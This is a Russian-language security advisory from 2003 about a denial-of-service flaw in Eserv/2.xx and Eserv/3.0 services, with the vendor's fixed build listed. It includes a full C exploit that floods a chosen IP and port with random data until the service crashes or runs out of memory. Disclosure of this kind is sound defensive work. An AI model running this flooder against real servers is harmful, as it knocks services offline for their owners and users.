Дата публикации: | 01.11.2003 |
Всего просмотров: | 1908 |
Опасность: | Низкая |
Наличие исправления: | |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | |
Воздействие: | |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: | |
Уязвимые версии: Eserv/2.xx/3.0
Описание: Уязвимость обнаружена во всех сервисах Eserv/2.xx и в acWeb сервисе Eserv/3.0. Удаленный атакующий может вызвать отказ в обслуживании. При посылке, в течении некоторого времени, специальным образом сконструированного буфера (см. эксплоит) любому из предоставляемых сервисов Eserv/2.xx (проверенно на ftp, smtp, web, http-proxy, ftp-proxy, pop3), программа, без каких-либо сообщений, прекращает свою работу. При этом, соответственно, все сервисы становятся недоступными. Постоянная посылка этого же буфера acWeb сервису Eserv/3.0, приводит к пожиранию (утечке?) памяти программой. В локальной сети на Win2K поедание происходит со скоростью 10Мб/сек, что, при продолжении атаки, приводит к полному истощению оперативной и виртуальной памяти сервера. Пример/Эксплоит: /* * m00-eserv-DoS.c * * this is trivial DoS :) * * sending garbage on any services port (tested on 21, 25, 80, 110, 3121, 3128) * result: exiting program and close all eserv services * if you seen message: Broken pipe * then may going drink beer 8) * * tested on Eserv/2.x * Eserv 3.0 only web(80) services susceptible on this DoS * * m00security.org / by rash */ #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> int main(int argc, char *argv[]) { char buf[2000]; int fd; struct sockaddr_in rsin; if (argc!=3) { printf("\n usage: %s <ip> <port>\n\n", argv[0]); exit(0); } rsin.sin_family = AF_INET; rsin.sin_port = htons(atoi(argv[2])); rsin.sin_addr.s_addr = inet_addr(argv[1]); for (fd=0;fd<2000;fd++) buf[fd]=(int *)((rand()*10)); fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (connect(fd,(struct sockaddr *)&rsin,sizeof(struct sockaddr))) perror("[-] connect()"),exit(0); printf("[+] connected..\n"); printf("[+] send data to host..\n"); while (1) { if ((send(fd, buf, 2000, 0))<0) break; } } URL производителя:http://www.eserv.ru/ Решение: Разработчиками выпущен новый билд Eserv/2.99 с исправленной ошибкой, доступный по этому адресу: ftp://ftp.eserv.ru/pub/beta/2.99/Eserv3463.zip |
|
Ссылки: | Memory-leak vulnerability in EServ/3.00 |